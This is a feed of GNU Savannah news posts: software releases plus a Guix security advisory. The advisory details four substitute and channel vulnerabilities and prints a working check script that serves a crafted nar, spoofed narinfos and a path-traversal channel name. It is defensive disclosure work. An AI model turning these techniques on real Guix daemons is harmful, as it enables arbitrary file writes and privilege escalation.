❌

Vista elenco

cssc @ Savannah: CSSC-1.5.0 released

5 Luglio 2026 ore 23:38

This is to announce CSSC-1.5.0, a beta release.

There have been 424 commits by 2 people since 1.4.1.   Thanks to Greg A. Woods for helping to improve CSSC.

See the NEWS below for a brief summary.

===============================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
  https://alpha.gnu ... CSSC-1.5.0.tar.gz
  https://alpha.gnu ... -1.5.0.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: CSSC-1.5.0.tar.gz
  SHA256 sum:   8483a31aac756955843ef574bed6fa9e052ea492217f3882033487d2704c6cf4
  SHA3-256 sum: c138c32cab373a51c32d2049064532ac24a6fa777b7edecabe4d605460018845

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify CSSC-1.5.0.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2015-12-24 [SC]
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
  uid   James Youngman <james@youngman.org>
  uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key james@youngman.org

  gpg --recv-keys 88DD9E08C5DDACB9

  wget -q -O- 'https://savannah. ... SC&download=1'
| gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0.tar.gz.sig

This release is based on the CSSC git repository, available as

  git clone https://https.git ... .org/git/CSSC.git

with commit 77bdce39a09b9ff37831c4dd1cb0d4dd5967cb39 tagged as v1.5.0.

For a summary of changes and contributors, see:

  https://gitweb.gi ... shortlog;h=v1.5.0

or run this command from a git-cloned CSSC directory:

  git shortlog CSSC-1.4.1..v1.5.0

This release was bootstrapped with the following tools:
  Autoconf 2.72
  Automake 1.17
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

  • Noteworthy changes in release 1.5.0 (2026-07-05) [beta]


        * The test suite no longer depends on Python, so it should
work on older systems that have no Python 3 interpreter. While you can
build and test CSSC without Python, you do need a Python interpreter
to do some maintenance tasks (such as importing the "gnulib" code into
a git checkout).

        * Tolerate SCCS files in which file flags lack the space
separator which would normally come between the flag letter and the
associated value.

  • Noteworthy changes in release 1.5.0-rc3 (2026-06-14)


        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper.  Thanks to Greg
A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
to avoid a warning message from GNU grep.  Some very old versions of
Unix may not support this option.

        * Various C++ portability improvements.

        * Updated version of gnulib.

        * Updated version of googletest; this is now at the last
version at which it still supported building with Automake.

  • Noteworthy changes in release 1.5.0-rc2 (2024-05-13)


        * This release is more careful to detect I/O failures when
writing to stdout in prs and prt.

        * This release should build on more modern platforms.

        * The --with-googletest configure option is removed (now we
always use it).

        * Updated versions of gnulib and googletest.

GNU Guix: ‘guix substitute’ and ‘guix pull’ Vulnerabilities

2 Luglio 2026 ore 19:00

Several security issues (CVE IDs pending) have been identified in guix substitute, a helper utility invoked by guix-daemon, which enable a variety of harmful activities including remote privilege escalation to the build daemon user, remote store corruption, and potentially local disclosure of sensitive files accessible to the build daemon user. All systems are affected, whether or not guix-daemon is running with root privileges; the harm that can be done when guix-daemon runs without root privileges is more limited. You are strongly advised to upgrade your daemon now (see instructions below), carefully considering whether to pass --no-substitutes to all guix commands when you do so (see note in Upgrading section).

The remote exploitation of guix substitute only requires that the vulnerable system attempt to download a binary substitute. Any configured substitute server, including ones discovered using guix-daemon's --discover option, can exploit this, and so can a man-in-the-middle (MITM), regardless of whether https is used in the substitute server urls.

The local exploitation of guix substitute only requires the ability to connect to guix-daemon's socket, which by default any user can do.

Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels file used by these commands to cause a file to be created or overwritten wherever the user running the command in question has permission to create them. This is possible regardless of whether the channels file is evaluated in a sandbox and whether the channels used are limited to those sharing an introduction with a trusted channel. Due to limitations on the content of the created or overwritten file, this primarily represents a denial-of-service risk, though in theory it could do more.

Update 2026-07-06: if you are using the unprivileged guix-daemon, as is the default on distros other than Guix System since version 1.5.0, and if you updated it between July 2nd and July 5th, you've probably been affected by this regression preventing substitutes from working. It is now fixed, but if you are stuck trying to upgrade, try passing --no-substitutes. If you can't reasonably upgrade without substitutes, you can either take your chances downgrading to the vulnerable guix-daemon and using it or try tinystar's workaround (doesn't apply to Guix on distributions other than Guix System).

Vulnerabilities

Three distinct vulnerabilities have been identified affecting guix substitute, with a fourth affecting guix pull and guix time-machine:

  1. (CVE assignment pending) The procedure that Guile code uses to unpack substitutes, restore-file in (guix serialization), was not hardened against malicious input, but it was called to extract the substitute being downloaded as it was being downloaded, rather than waiting until after the entire archive had been obtained and its hash had been verified. These facts together make it possible for any substitute server (or any entity that can impersonate one) to write arbitrary files to any place on an affected system that the daemon user has permission to write to. In the case of the daemon running as root, that includes /etc/passwd.

    To avoid depending on the X.509 Public Key Infrastructure, the procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos, does not verify server certificates, since the canonical parts of narinfos need to be signed anyway to be considered valid. Unfortunately the substitute URL is not one such canonical part, and so it can be replaced with an attacker-controlled URL. If the substitute downloaded doesn't match the signed hash in the narinfo, it will be rejected, but by then it is too late: the substitute was extracted as it was being downloaded, so the damage is already done.

    This means that even though download-nar, the procedure responsible for actually downloading the substitute, does itself verify server certificates, using https in substitute server urls cannot limit who can exploit this, as the certificate only needs to be appropriate for the attacker-controlled URL.

    restore-file is also used by other utilities, including guix offload, guix archive --extract, and guix challenge. These can all be exploited in the same way if untrusted input is given to them.

  2. (CVE assignment pending) The procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos in (guix substitutes), does not verify that the narinfo it got is the one it asked for, nor do any of its callers in (guix scripts substitute). Consequently, it is possible for a substitute server (or anyone who can impersonate one) to trick guix substitute into using any store item for which there is an authorized substitute as a substitute for any other store item for which there is an authorized substitute. The complete extent of harm that can be caused by this depends in part on what store items an authorized substitute server has signed or can be convinced to sign, but at minimum this can be used to cause outdated and insecure versions of software to be used.

  3. (CVE assignment pending) The implementation of guix substitute in (guix scripts substitute) permits file:// URIs to be used both for specifying substitute server URIs (where to look for narinfos) and for specifying within narinfos where to download the corresponding archive from. It does not distinguish between --substitute-urls passed on the guix-daemon command line and --substitute-urls passed on the guix command line (client-side), with the latter taking precedence over the former. Opening of these file:// URIs follows symbolic links. Consequently, an untrusted client may cause any file that the daemon can read to be read. If a given line of it doesn't look like a valid narinfo line (it uses recutils format), guix substitute may throw an exception, causing a backtrace containing that line to be passed through to the client. So, for example, a file containing a single line containing only a secret passphrase may have its contents revealed to any local user if the daemon user can read it.

    Additionally, when a file:// URI is used as the URI of a nar to download, it may be written to the store if it happens to be a valid nar ("normalized archive") as used by Guix and Nix. This is unlikely, though.

    In addition to possibly causing secrets to be disclosed, this can also be used to interfere with the reading of any file being read by any process that the daemon user could trace, through the use of files in /proc/PID/fd.

  4. (CVE assignment pending) The procedure which guix pull and guix time-machine use to authenticate channels, authenticate-channel in (guix channels), passed a cache key derived from the channel name to authenticate-repository in (guix git-authenticate). This cache key was used to determine a filename for storing previously-authenticated commit IDs in. If the channel name was of the form "../../../../newfile", it could have caused "newfile" to be created in the user's home directory. It may also have overwritten "newfile" if it already existed, but only if it already looked like a Scheme-syntax list of strings, since the contents would have to have first been read and processed before new contents would have been written.

    In the event that a write is performed, the output will only include a Scheme-syntax comment, newline, and list of hexadecimal strings corresponding to git commit identifiers. This makes it difficult to use for a practical attack other than a denial-of-service, but note that since it can target files in /proc, a sufficiently creative and informed attacker may be able to exploit this further.

    Realistically, this vulnerability can only be exploited when fetching remote channel files with the newly-added mechanism for doing so.

Mitigation

Vulnerabilities (1) and (2) can be mitigated against remote attackers by not using substitutes, either by passing --no-substitutes to guix-daemon or passing --no-substitutes to all guix commands. It's always possible to turn substitutes back on for an individual client, though, so this doesn't work to defend against a local attacker exploiting (1), (2), or (3), which cannot be mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by not running guix pull or guix time-machine with an untrusted channels file.

A test for the presence of these vulnerabilities is available at the end of this post. One can run this code with:

guix repl -- guix-substitute-and-pull-vuln-check.scm

Note: this should be run as a regular user that is neither root nor whichever user runs guix-daemon, since such users will be treated as trusted and will not have the restrictions used to fix vulnerability (3) applied to them, making it impossible for the test to tell whether the fix is in place for untrusted users.

This will finish with a sequence of 4 lines, beginning with restore-file, fetch-narinfos, file-uris, and cache-key respectively, each followed by a colon, a space, and either vulnerable or not vulnerable depending on whether the running guix-daemon has the indicated vulnerability or not. If all 4 lines contain not vulnerable, then guix repl will exit with status code 0, otherwise it will exit with status code 1.

Some of the tests can fail to produce a result in some cases. In this case the output following the test name will start with error:. A test that fails to produce a result should be regarded as inconclusive.

The restore-file and fetch-narinfos tests may fail to produce a result if no substitutes are authorized, or if no authorized substitutes for the current guix's cfunge, hello, or sed packages can be accessed through any of the configured substitute urls. The restore-file test may fail to produce a result if cfunge is reachable from some garbage collection root, such as a profile. The cache-key test may fail to produce a result if network access to codeberg to fetch a small portion of the history of the guix-science channel is not available, which can be worked around by editing the script's definition of guix-science-url to be any URL (or a filename) at which a copy of the guix-science repository can be found.

Fixes

These security issues have been fixed by a series of 11 commits, starting with ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17 and ending with 2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc as part of pull request #9665. Users should make sure they have upgraded to commit 897832f374dcdc9eeaf19d01e70b9a92fccfc68c or any later commit to be protected from these vulnerabilities. Upgrade instructions are in the following section.

Fixing vulnerability (1) involved hardening restore-file so that it detects and rejects invalid directory entry names. Specifically, entry names must be unique, in strictly ascending order, not empty, not equal to "." or "..", and not containing "/" or null bytes. Additionally, procedures currently used as the #:dump-file argument to restore-file were modified to insist on creating the target file afresh and never follow symbolic links.

The inspiration for that last change came from looking at the implementation of nar-parsing in parse in nix/libutil/archive.cc, where it was determined that that implementation was not vulnerable, but was about as close to vulnerable as it could get without actually being vulnerable, only barely being saved by the fact that the filesystem primitives used all refused to follow symbolic links or accept an existing target (see this commit message for details). To avoid wasting another 3 hours trying to determine this the next time anyone tries looking at it with a critical eye, that implementation was also rewritten to be stricter and more obviously secure. It is perhaps not surprising that the same code led to CVE-2024-45593 in Nix when it was modified to use more lax filesystem primitives from std::filesystem.

Fixing vulnerability (2) involved modifying fetch-narinfos to not include a result if it didn't match what was asked for.

Fixing vulnerability (3) involved modifying (guix scripts substitute) to verify that all substitute urls from untrusted sources are not file:// urls, and that all nar urls in narinfos are not file:// urls (except when a special flag is set, which is only done in the test suite).

Some additional hardening was also done, so that substitutes are restored inside a temporary directory and only moved to their final store item path once the hash is verified. This still restores them before verifying the hash, so it wouldn't have prevented (1), but it does ensure that attacker-controlled contents are not present at the path of what may have once been a valid store item (and may still be considered by some users or programs to be valid if they haven't taken note of a recent garbage collection). The narinfo-reading code was also modified to reject as invalid any narinfo file whose StorePath, References, or Deriver field contained a path that did not obey the store item path syntax requirements. A nice side-effect of this is that we now have procedures for verifying the syntax of store item paths.

Fixing vulnerability (4) involved changing how cache-key was computed by default for users of authenticate-repository. Rather than being derived from the name of the channel or (for guix git authenticate) the url of the repository, cache-key is now derived from the ID of the introductory commit, which is a very safe hexadecimal string. This also avoids some strange and potentially-dangerous behavior in which cached authenticated commit IDs could be shared between two channels that happen to share a name but are otherwise completely different. Additional hardening of authenticate-repository was added to turn all occurrences of . in cache-key into - so that even if non-default cache keys were provided, it would not be possible to escape the cache directory.

Upgrading

Due to the severity of this security advisory, we strongly recommend all users to upgrade guix and guix-daemon immediately.

Note: The astute reader may have noticed a dilemma: the fastest way to get updates is through substitutes, and the way to mitigate the most severe of the remotely-exploitable vulnerabilities is to disable substitutes. Whether to pass --no-substitutes is therefore a judgment call that must take into consideration how long it has been since these vulnerabilities were made public, how exposed the network paths between your system and your substitute servers are, how feasible it is for the system in question to build guix by itself (which will depend in part on how long it has been since you last upgraded), whether the system in question has multiple users, and of course, your threat model.

For Guix System, the procedure is to reconfigure the system after a guix pull, either restarting guix-daemon or rebooting. For example:

guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon

where /run/current-system/configuration.scm is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice.

For Guix on another distribution, one needs to guix pull with sudo, as the guix-daemon runs as root, and restart the guix-daemon service, as documented. For example, on a system using systemd to manage services, run:

sudo --login guix pull
sudo systemctl restart guix-daemon.service

Note that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.

Timeline

  • May 28th, 2026. Jörg Thalheim of Nix shares the restore-file vulnerability with Christopher Baines and Andreas Enge; Christopher sends details to the Security Response Team.
  • June 4th, 2026. Andreas Enge notifies Caleb Ristvedt and Ludovic Courtès who start working on a fix.
  • June 10th, 2026. Caleb Ristvedt finds the file:// vulnerability of guix substitute.
  • June 22nd, 2026. Caleb Ristvedt finds the third vulnerability: that guix substitute did not verify whether the narinfo it is getting is the one it asked for.
  • June 24th, 2026. Following an issue reported by Sergio Pastor-Pérez, Ludovic Courtès identifies the pull and time-machine vulnerability and works on a fix. For the sake of convenience and because hints were available publicly, it was decided that it should be promptly fixed and disclosed at the same time as the other vulnerabilities.

Conclusion

We would like to thank Jörg Thalheim for sharing the restore-file vulnerability, Christopher Baines for verifying it and informing the Security Response Team, and Andreas Enge for ensuring that it reached Ludovic and Caleb and facilitating ongoing communication with Jörg.

We would also like to thank John Kehayias of the Security Response Team for coordination and for requesting CVE IDs.

Test for presence of vulnerability

Below is code to check if your guix-daemon is vulnerable to the first three vulnerabilities and your guix is vulnerable to the fourth. Save this file as guix-substitute-and-pull-vuln-check.scm and run following the instructions above, in "Mitigation."

(use-modules (git)
             (guix build utils)
             (guix derivations)
             (guix channels)
             (guix config)
             (guix gexp)
             (guix git)
             (guix narinfo)
             (guix packages)
             (guix pki)
             (guix utils)
             (guix serialization)
             (guix store)
             (guix substitutes)
             ((gnu packages base) #:hide (which))
             (gnu packages esolangs)
             (srfi srfi-1)
             (srfi srfi-26)
             (srfi srfi-31)
             (srfi srfi-34)
             (rnrs bytevectors)
             (ice-9 atomic)
             (ice-9 binary-ports)
             (ice-9 control)
             (ice-9 match)
             (ice-9 popen)
             (ice-9 rdelim)
             (ice-9 textual-ports)
             (ice-9 threads)
             (web response)
             (web request)
             (web uri)
             (web server)
             (web server http))

;; 1. restore-file

;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path.  Have http
;; server serve the signed narinfo with the URLs replaced with its own.  When
;; the nar is requested, serve the invalid nar.  Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents.  We're vulnerable if and only if it does.

(define target-file
  "/tmp/guix-restore-file-vulnerable")

(define target-substitutable-package
  ;; pick something obscure but in the main guix channel, so it is either not
  ;; currently valid or can probably be gc'ed.  This is just to make the test
  ;; more reliable - in real exploitation, an attacker can sit around and wait
  ;; for any substitute request to be made, but here we need to provoke one in
  ;; a timely manner.
  cfunge)

(define substitute-servers
  (with-store store
    (substitute-urls store)))

;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)

(define (package->path+narinfo store package)
  (define path
    (derivation->output-path (run-with-store store (lower-object package))))

  (match (lookup-narinfos/diverse substitute-servers (list path)
                                  valid-narinfo?)
    ((info) (values path info))
    (() (values #f #f))))

(define (restore-file-vuln?)
  (define-values (target-path target-info)
    (call-with-values (lambda ()
                        (with-store store
                          
                          (package->path+narinfo store
                                                 target-substitutable-package)))
      (lambda (path info)
        (unless info
          (error "can't find substitutable path to test 'restore-file' with\n"))
        (with-store store
          (when (valid-path? store path)
            (when (null? (delete-paths store (list path)))
              (error "can't delete substitutable path to test 'restore-file' with\n"))))
        (values path info))))

  (define new-target-info-contents
    (let* ((contents (narinfo-contents target-info))
           (signature-index (string-contains contents "Signature:"))
           (after-signature-index (string-index contents #\newline
                                                signature-index))
           (signed-contents (string-take contents (or after-signature-index
                                                      (string-length
                                                       contents)))))
      (string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))

  ;; We can't delete target-file if it's owned by root, so overwrite it with
  ;; fresh, mostly-random contents each time, and check that the contents match.
  (define test-contents
    (format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))

  (define test-nar
    (call-with-output-bytevector
     (lambda (port)
       (for-each (lambda (s)
                   (write-string s port))
                 `("nix-archive-1"
                   "(" "type" "directory"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "symlink"
                   "target" ,target-file ")" ")"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "regular"
                   "contents" ,test-contents  ")" ")"
                   ")")))))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define target-uri-path
    (string-append "/" (store-path-hash-part target-path) ".narinfo"))

  (define nar-uri-path "/example.nar")

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) target-uri-path)
      (format (current-error-port)
              "Returning narinfo pointing to test nar~%")
      (values (build-response #:code 200)
              new-target-info-contents))
     ((string=? (uri-path (request-uri request)) nar-uri-path)
      (format (current-error-port) "Returning test nar~%")
      (values (build-response #:code 200)
              test-nar))
     (else
      (values bad-request ""))))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (guard (c ((store-error? c)
                     ;; XXX doesn't actually cancel until something tries
                     ;; connecting
                     (cancel-thread server-thread)
                     ;;(join-thread server-thread)
                     (and (file-exists? target-file)
                          (string=? (call-with-input-file target-file
                                      get-string-all)
                                    test-contents))))
            (build-things store (list target-path))
            ;; If the substitution actually completes without throwing then we
            ;; are most definitely vulnerable, but not just in 'restore-path'.
            (error "!!!substitution of invalid nar completed???!!!")))))))



;; 2. fetch-narinfos

;; Identify two substitutable paths P1 and P2.  Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable.  Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's.  If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.

;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.

(define (fetch-narinfos-vuln?)
  (define-values (hello-path hello-info)
    (with-store store (package->path+narinfo store hello)))

  (define-values (sed-path sed-info)
    (with-store store (package->path+narinfo store sed)))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define hello-uri-path
    (string-append "/" (store-path-hash-part hello-path) ".narinfo"))

  (define sed-uri-path
    (string-append "/" (store-path-hash-part sed-path) ".narinfo"))

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) hello-uri-path)
      (format (current-error-port) "Returning sed when asked for hello~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents sed-info)))
     ((string=? (uri-path (request-uri request)) sed-uri-path)
      (format (current-error-port) "Returning hello when asked for sed~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents hello-info)))
     (else
      (values bad-request ""))))

  (unless (and hello-info sed-info)
    (error "can't find substitutable paths to test 'fetch-narinfos' with"))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (let ((substitutables
                 (substitutable-paths store (list hello-path sed-path))))
            ;; XXX doesn't actually cancel until something tries connecting
            (cancel-thread server-thread)
            ;;(join-thread server-thread)
            (not (null? substitutables))))))))

;; 3. file-uris

;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable.  It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.

(define (file-uris-vuln?)
  (if (zero? (getuid))
      "Unknown, can't test as root because its settings are trusted"
      (call-with-temporary-directory
       (lambda (directory)
         (define testfifo
           (string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
         (define opened? (make-atomic-box #f))
         (define store-item
           (string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))

         (define open-thread
           (begin
             (mknod testfifo 'fifo #o744 0)
             (call-with-new-thread
              (lambda ()
                (call-with-port (open testfifo O_WRONLY)
                  (lambda (port)
                    (atomic-box-set! opened? #t)))))))

         (with-store store
           (set-build-options store
                              #:substitute-urls (list (string-append "file://" directory)))
           (guard (c ((store-error? c)
                      (cancel-thread open-thread)
                      (delete-file testfifo)
                      ;; even though the file it is trying to open no longer
                      ;; exists, the kernel doesn't give a result to open-thread
                      ;; until someone ptraces it (or maybe sends a signal or
                      ;; something).
                      ;; (join-thread open-thread)
                      (atomic-box-ref opened?)))
             (substitutable-paths store (list store-item))
             (error "not supposed to get here!\n")))))))

;; 4. cache-key

;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.

;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
  "https://codeberg.org/guix-science/guix-science.git")

(define (create-test-channel directory channel-name)
  "Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
  (define intro-commit
    "b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")

  (define end-commit ;; The commit following intro-commit
    "5a2d9baeda971df575c017669bca8eb8faa22ebd")

  (define fingerprint
    "CA4F 8CF4 37D7 478F DA05  5FD4 4213 7701 1A37 8446")

  (define git %git) ;; From (guix config), guix has a hard dependency on git

  (with-directory-excursion directory
    (invoke git "init"
            ;; Silence warning
            "--initial-branch=main")
    (invoke git "remote" "add" "--" "origin" guix-science-url)
    (invoke git "fetch" "--" "origin" end-commit)
    (invoke git "checkout" "FETCH_HEAD")
    (invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
    (values
     (channel
       (name channel-name)
       (url (canonicalize-path directory))
       (introduction (make-channel-introduction
                      intro-commit
                      (openpgp-fingerprint fingerprint))))
     intro-commit
     end-commit)))

(define (cache-key-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (let ((home (string-append directory "/home"))
           (channel-repo (string-append directory "/channel-repo"))
           (testfile (string-append directory "/testfile")))
       (mkdir home)
       (mkdir channel-repo)
       (with-environment-variables `(("HOME" ,home)
                                     ("XDG_CACHE_HOME" ,(string-append home
                                                                       "/.cache")))
         (call-with-values
             (lambda ()
               (create-test-channel channel-repo
                                    (string->symbol "../../../../../testfile")))
           (lambda (channel first-commit last-commit)
             (authenticate-channel channel channel-repo last-commit
                                   #:keyring-reference-prefix "")))
         (file-exists? testfile))))))

;; Results

(define vulnerabilities
  (list (list "restore-file" restore-file-vuln?)
        (list "fetch-narinfos" fetch-narinfos-vuln?)
        (list "file-uris" file-uris-vuln?)
        (list "cache-key" cache-key-vuln?)))

(define (call-with-errors-to-string proc)
  (define tag (make-prompt-tag))
  (call-with-prompt tag
    (lambda ()
      (with-throw-handler #t
        proc
        (rec (self key . args)
             (let* ((stack (make-stack #t
                                       1 ;self ;; Causes make-stack to return #f??
                                       tag
                                       ))
                    (frames (stack-length stack))
                    (frame (stack-ref stack 0)))
               (define error-string
                 (match args
                   (((or (? string? proc) (? symbol? proc))
                     (? string? message) (args ...) . rest)
                    (call-with-output-string
                      (lambda (port)
                        (display-error frame port proc message args
                                       rest))))
                   (args
                    (call-with-output-string
                      (lambda (port)
                        (print-exception port frame key args))))))

               (display-backtrace stack (current-error-port))
               (display error-string (current-error-port))
               (abort-to-prompt tag (string-append "error: "
                                                   (string-trim-both
                                                    error-string)))))))
    (lambda (_ . args)
      (apply values args))))

(define results
  (map (match-lambda
         ((name proc)
          (list name (if (string? proc)
                         proc ;; pass message through
                         (call-with-errors-to-string proc)))))
       vulnerabilities))

(for-each (match-lambda
            ((name vulnerable?)
             (format #t "~a: ~a~%"
                     name
                     (if (boolean? vulnerable?)
                         (if vulnerable? "vulnerable" "not vulnerable")
                         vulnerable?))))
          results)

(exit (if (any second results) 1 0))

unifont @ Savannah: Unifont 17.0.05 Released

29 Giugno 2026 ore 01:20

28 June 2026 Unifont 17.0.05 is now available.  This is a minor release aligned with Unicode 17.0.0.

This release notably includes separate BDF, PCF, and OpenType font files with Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with "unifont_t".  Many other Chinese glyphs have been added.  See the ChangeLog file for details.

Download this release from GNU server mirrors at:

     https://ftpmirror ... /unifont-17.0.05/

or if that fails,

     https://ftp.gnu.o ... /unifont-17.0.05/

or, as a last resort,

     ftp://ftp.gnu.org ... /unifont-17.0.05/

These files are also available on the unifoundry.com website:

     https://unifoundr ... /unifont-17.0.05/

Font files are in the subdirectory

     https://unifoundr ... 0.05/font-builds/

A more detailed description of font changes is available at

      https://unifoundr ... nifont/index.html

and of utility program changes at

      https://unifoundr ... nt-utilities.html

Information about Hangul modifications is at

      https://unifoundr ... hangul/index.html

and

      http://unifoundry ... l-generation.html

parallel @ Savannah: GNU Parallel 20260622 ('Rape Gang Inquiry') released [stable]

27 Giugno 2026 ore 12:24

GNU Parallel 20260622 ('Rape Gang Inquiry') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

  GNU Parallel is much nicer than xargs and more powerful ... definitely recommended!
    -- boomertsfx@reddit

New in this release:

  • testsuite reorganized.
  • Bug fixes and man page updates.


GNU Parallel - For people who live life in the parallel lane.

If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.


About GNU Parallel


GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.

If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.

GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.

For example you can run this to convert all jpeg files into png and gif files and have a progress bar:

  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif

Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:

  find . -name '*.jpg' |
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200

You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/

You can install GNU Parallel in just 10 seconds with:

    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
       fetch -o - http://pi.dk/3 ) > install.sh
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
    70727536 3428aa9e 9a136b9a 7296dfe4
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
    $ bash install.sh

Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1

Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.

When using programs that use GNU Parallel to process data for publication please cite:

